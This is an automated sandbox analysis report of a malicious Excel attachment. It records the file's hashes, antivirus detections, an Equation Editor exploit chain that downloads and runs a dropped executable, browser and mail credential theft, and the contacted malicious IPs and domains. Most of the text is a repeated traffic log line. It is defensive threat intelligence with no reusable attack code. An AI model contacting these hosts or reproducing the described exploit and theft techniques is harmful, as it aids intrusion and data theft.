Windows Analysis Report
IND24072113_1.xlsx

Overview

General Information

Sample name: IND24072113_1.xlsx
Analysis ID: 1538472
MD5: 581ec6d09547a4d7f6486848b5b0d550
SHA1: b8132494881408956e1a98813b3083bf0f694c40
SHA256: 3576c7491652236210183f0b6620586017fec98ca0d2628abd1aaa4c26791f56
Tags: xlsxuser-TeamDreier
Infos:

Detection

Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Contains functionality to detect sleep reduction / modifications
Document exploit detected (process start blacklist hit)
Found direct / indirect Syscall (likely to bypass EDR)
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Installs new ROOT certificates
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Office Equation Editor has been started
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches the installation path of Mozilla Firefox
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: IND24072113_1.xlsx Avira: detected
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\kontempt2.1[1].exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Roaming\word.exe ReversingLabs: Detection: 31%
Multi AV Scanner detection for submitted file
Source: IND24072113_1.xlsx Virustotal: Detection: 53% Perma Link
Source: IND24072113_1.xlsx ReversingLabs: Detection: 71%
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\word.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\kontempt2.1[1].exe Joe Sandbox ML: detected

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 192.3.255.145 Port: 80 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 192.3.255.145 Port: 443 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\word.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\word.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 192.3.255.145:443 -> 192.168.2.22:49162 version: TLS 1.2
Source: Binary string: msinfo32.pdb source: svchost.exe, 00000006.00000003.529880228.00000000009B9000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.670713635.00000000003FB000.00000004.00000001.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000003.523531123.00000000003D5000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: msinfo32.pdb@ source: svchost.exe, 00000006.00000003.529880228.00000000009B9000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.670713635.00000000003FB000.00000004.00000001.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000003.523531123.00000000003D5000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XAgFxCrXhYKjE.exe, 00000007.00000000.520856687.00000000008CE000.00000002.00000001.01000000.00000005.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000002.670905465.00000000008CE000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: wntdll.pdb source: word.exe, 00000005.00000003.465086662.0000000003C30000.00000004.00001000.00020000.00000000.sdmp, word.exe, 00000005.00000003.464337661.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000006.00000002.536511080.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.536511080.0000000000AA0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.518776384.0000000000230000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.519099529.0000000000460000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000002.671151712.0000000002190000.00000040.00001000.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000003.537338754.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000003.537635285.0000000001E80000.00000004.00000020.00020000.00000000.sdmp, msinfo32.exe, 00000008.00000002.671151712.0000000002010000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: msinfo32.exe, 00000008.00000002.671662614.00000000028BC000.00000004.10000000.00040000.00000000.sdmp, msinfo32.exe, 00000008.00000002.670668972.0000000000246000.00000004.00000020.00020000.00000000.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000000.550091041.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.596824366.00000000015FC000.00000004.80000000.00040000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose, 5_2_00452126
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045C999 FindFirstFileW,FindNextFileW,FindClose, 5_2_0045C999
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose, 5_2_00436ADE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 5_2_00434BEE
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle, 5_2_00436D2D
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 5_2_00442E1F
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0045DD7C FindFirstFileW,FindClose, 5_2_0045DD7C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose, 5_2_0044BD29
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 5_2_00475FE5
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose, 5_2_0044BF8D

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE55A LoadLibraryW,URLDownloadToFileW, 2_2_036AE55A
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE64C ExitProcess, 2_2_036AE64C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE62C WinExec,ExitProcess, 2_2_036AE62C
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE5E1 URLDownloadToFileW, 2_2_036AE5E1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036AE582 URLDownloadToFileW, 2_2_036AE582
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: timurtrading.my
Source: global traffic DNS query: name: www.omnibizlux.biz
Source: global traffic DNS query: name: www.sqlite.org
Source: global traffic DNS query: name: www.75e296qdx.top
Source: global traffic DNS query: name: www.myprefpal.xyz
Source: global traffic DNS query: name: www.jilifish.win
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.255.145:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 167.172.133.32:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 185.196.10.234:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 15.197.148.33:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
